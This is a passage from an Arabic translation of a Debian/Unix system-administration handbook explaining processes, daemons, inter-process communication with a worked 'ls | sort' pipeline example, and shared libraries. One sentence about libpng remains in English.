عندما تنهي العملية المهمة التي بدأت لأجلها، تنتهي العملية. بعدها تستعيد النواة الذاكرة المخصصة لهذه العملية، وتقطع عنها شرائح التشغيل الزمنية. يتم إعلام العملية الأم عن انتهاء عمليتها الابن، ما يسمح لعملية ما أن تنتظر إنهاء مهمة فوضت أحد أبنائها بها. هذا السلوك واضح للعين المجردة في مفسرات سطر الأوامر (تعرف باسم الأصداف shells). عند كتابة أمر في الصَدَفَة، لا تعود إشارة الإدخال قبل انتهاء تنفيذ الأمر. تسمح معظم الأصداف بتشغيل الأوامر في الخلفية، يكون ذلك بسهولة بإضافة & إلى نهاية الأمر. بعدها تظهر إشارة الإدخال مجددًا مباشرة، وهذا قد يسبب مشاكل إذا كان الأمر يحتاج لإظهار بيانات خاصة به.

B.5.2. الجن

”الجني daemon“ هو عملية تُشغِّلها متتالية الإقلاع آلياً. يبقى نشطاً (في الخلفية) لتنفيذ مهام صيانة أو تقديم خدمات للعمليات الأخرى. هذه ”المهمة في الخلفية“ عشوائية في الحقيقة، ولا تقابل أي شيء محدد من وجهة نظر النظام. هي مجرد عمليات، شبيهة بالعمليات الأخرى تماماً، التي تعمل بدورها عندما تحين حصتها من الوقت. هذا التمييز موجود في لغة البشر فقط: أية عملية تعمل بدون أي تفاعل مع المستخدم (على الأخص، بدون واجهة رسومية) يقال أنها تعمل ”في الخلفية“ أو أنها ”جني“.

مصطلحات جني، شيطان، مصطلح ازدرائي؟

بالرغم من أن مصطلح daemon (جني) يتشاطر أصله اليوناني مع demon (شيطان)، إلا أن الأول لا يتضمن شراً شيطانياً، بالعكس، يجب التفكير به على أنه نوع من الأرواح المساعدة. هذا التفريق معقّد بما يكفي في الإنكليزية، بل هو أسوأ في لغات أخرى حيث تستخدم الكلمة نفسها للدلالة على المعنيين.

هناك شرح مفصل لمجموعة من الجن أمثال هؤلاء في فصل 9, خدمات يونكس.

B.5.3. التواصل بين العمليات

إن العملية المعزولة، سواء كانت خدمة أو تطبيقًا تفاعليًا، نادراً ما تكون مفيدة بحد ذاتها، وهو السبب وراء وجود العديد من أساليب التواصل بين العمليات المنفصلة، سواء لتبادل البيانات أو لتتحكم واحدتها بالأخرى. المصطلح العام للتعبير عن هذا المفهوم هو التواصل بين العمليات inter-process communication، أو IPC اختصاراً.

أبسط نظام IPC هو استخدام الملفات. تكتب العملية التي ترغب بإرسال البيانات بياناتها في ملف (له اسم معروف مسبقًا)، في حين تحتاج العملية المتلقية إلى فتح الملف وقراءة محتوياته فقط.

في الحالات التي لا ترغب فيها بتخزين البيانات على القرص، يمكنك استخدام أنبوب، وهو ببساطة عنصر له نهايتان؛ البايتات المكتوبة في إحداهما، تكون مقروءة عند النهاية الأخرى. إذا تَحكَّمَت بالنهايتين عمليتين منفصلتين، يصبح الأنبوب بمثابة قناة تواصل بين العمليات بسيطة وسهلة الاستعمال. يمكن تصنيف الأنابيب في زمرتين: الأنابيب المسمّاة، والأنابيب المجهولة. يُمثَّل الأنبوب المسمى بمدخلة في نظام الملفات (مع أن البيانات المرسلة لا تُخزَّن هناك)، بحيث يمكن لكلا العمليتين فتحه بشكل مستقل إذا كان موقع الأنبوب المسمى معروفًا من قبل. في الحالات التي تكون فيها العمليات التي تتواصل فيما بينها مرتبطة ببعضها (مثلاً، عملية أم مع ابنها)، يمكن للعملية الأم أيضًا إنشاء أنبوب مجهول قبل الاشتقاق، وسيرثه الابن. ستتمكن كلا العمليتان عندئذ من تبدل البيانات فيما بينهما باستخدام الأنبوب دون الحاجة لنظام الملفات.

ممارسة عملية مثال شامل

دعنا نناقش ما يحدث عند تنفيذ أمر معقد (خط أنابيب) من الصَدَفة بشيء من التفصيل. نحن نفترض أن لدينا عملية bash (صَدَفة المستخدم القياسية على دبيان)، لها pid يساوي4374؛ وفي هذه الصدفة، سنكتب الأمر : ls | sort .

تُفَسِّر الصدفة أولاً الأمر المكتوب فيها. في حالتنا، ستفهم أن هناك برنامجين (ls و sort)، مع مجرى بيانات يتدفق من أحدهما إلى الآخر (ممثل بالمحرف |، الذي يدعى بالأنبوب). تنشئ bash أولاً أنبوبًا مجهولاً (الذي يكون مبدئيًا ضمن عملية bash نفسها).

تستنسخ الصدفة نفسها؛ هذا يؤدي إلى عملية bash جديدة، لها pid رقمه 4521 (pid هي مجرد أرقام، وعادة لا يكون لها أي معنى محدد). ترث العملية #4521 الأنبوب، ما يعني أنها قادرة على الكتابة في نهاية ”الإدخال“ الخاصة به؛ تُعيد bash توجيه مجرى خرجها القياسي إلى دخل هذا الأنبوب. بعدها تنفذ البرنامج ls (وتستبدل نفسها به)، الذي يسرد محتويات المجلد الحالي. نظراً لأن ls يكتب على مجرى خرجه القياسي، وقد أعيد توجيه هذا المجرى مسبقًا، سيتم إرسال النتائج عمليًا إلى الأنبوب.

تحدث عملية مشابهة للأمر الثاني حيث تستنسخ bash نفسها ثانية، منتجة عملية bash جديدة لها pid يساوي 4522. ولأنها أيضًا ابنة للعملية #4374، فسوف ترث الأنبوب؛ بعدها تربط bash دخلها القياسي إلى خرج الأنبوب، بعدها تنفذ الأمر sort (وتستبدل نفسها به)، الذي يرتب دخله ويعرض النتائج.

الآن اكتملت قطع الأحجية كلها: يكتب ls قائمة الملفات الموجودة في المجلد الحالي في الأنبوب؛ يقرأ sort هذه القائمة، يرتبها أبجديًا، ويعرض النتائج. تنتهي العمليات ذات الأرقام #4521 و #4522 بعدها، والعملية #4374 (التي كانت تنتظرهم أثناء الحدث)، تتابع التحكم وتعرض إشارة الإدخال للسماح للمستخدم بكتابة أمر جديد.

لا تستخدم جميع الاتصالات بين العمليات لنقل البيانات بينها مع ذلك. في العديد من الحالات، المعلومات التي نحتاج إرسالها رسائل تحكم مثل ”أوقف التنفيذ مؤقتاً“ أو ”تابع التنفيذ“. يقدم يونكس (ولينكس) آلية تُعرَف باسم الإشارات signals، تستطيع العملية من خلالها إرسال إشارة محددة ببساطة (تختارها من قائمة من الإشارات المعرفة مسبقاً) إلى عملية أخرى. المتطلب الوحيد هو معرفة pid العملية الهدف.

هناك آليات أخرى للاتصالات الأكثر تعقيدًا، تسمح للعملية بالسماح لفتح الوصول إلى الذاكرة المخصصة لها، أو مشاركة جزء منها مع العمليات الأخرى. عندئذ يمكن استخدام ذلك الجزء المشترك من الذاكرة المشتركة لنقل البيانات بين العمليات المشتركة عليه.

أخيرًا، يمكن أن تساعد الاتصالات الشبكية بالتواصل بين العمليات؛ يمكن أن توجد هذه العمليات على حواسيب مختلفة، وقد تبعد عن بعضها آلاف الكيلومترات.

من العادي جداً لأي نظام نموذجي مشابه لنظام يونكس أن يستخدم جميع هذه الآليات بدرجات متفاوتة.

B.5.4. المكتبات

تلعب مكتبات الدوال دوراً حيويًا في نظم التشغيل المشابه لنظام يونكس. ليست هذه المكتبات برامج تامة، نظرًا لعدم إمكانية تنفيذها منفردة، لكنها مجموعة من فتات الكود التي يمكن للبرامج القياسية استخدامه. من المكتبات الشائعة، نذكر ما يلي:

مكتبة C القياسية (glibc)، التي تحوي الوظائف الأساسية مثل دوال فتح الملفات أو الاتصالات الشبكية، وغيرها مما يسهل التفاعل مع النواة؛

المكتبات الرسومية، Gtk+‎ وQt، تسمح للعديد من البرامج بإعادة استخدام العناصر الرسومية التي توفرها؛

the libpng library, which allows loading, interpreting and saving images in the PNG format.

بفضل هذه المكتبات، تستطيع البرامج إعادة استخدام الكود. يصبح تطوير البرامج أبسط، لأن عدة تطبيقات تستطيع استخدام الدوال نفسها. بما أن تطوير المكتبات يتم بأيد أشخاص مختلفين عادة، فإن التطوير الكلي للنظام أقرب إلى فلسفة يونكس التاريخية.

ثقافة أسلوب يونكس: مهمة واحدة في الوقت الواحد

أحد المفاهيم الأساسية التي تحدد عائلة نظم تشغيل يونكس هو أن كل أداة يجب أن تفعل شيئا واحدا فقط، وأن تتمه بشكل جيد؛ يمكن للتطبيقات بعد ذلك إعادة استخدام هذه الأدوات لبناء منطق أكثر تقدّما فوقها. يمكن أن نرى هذه الفلسفة في العديد من النظم الشبيهة بنظام يونكس. قد تكون سكربتات الصدفة أفضل مثال: فهي تجمع متتاليات معقدة لأدوات بسيطة جدًا (مثل grep وwc وsort وuniq وهكذا). يمكن أن نرى تطبيقاً آخر لهذه الفلسفة في مكتبات الكود: تسمح مكتبة libpng بقراءة وكتابة صور PNG، بخيارات مختلفة وبأساليب متنوعة، لكنها لا تفعل غير ذلك؛ لا توجد إمكانية لتضمين دوال تعرض الصور أو تحررها.

بالإضافة إلى ذلك، غالباً ما يُشَار إلى هذه المكتبات على أنها ”مكتبات مشتركة“، لأن النواة تستطيع تحميلها إلى الذاكرة مرة واحدة فقط، حتى لو كانت عدة عمليات تستخدم المكتبة نفسها في الوقت ذاته. يسمح هذا بتوفير الذاكرة، مقارنة مع الحالة (النظرية) النقيضة لها حيث يتم تحميل كود المكتبة بعدد العمليات التي تستخدمها.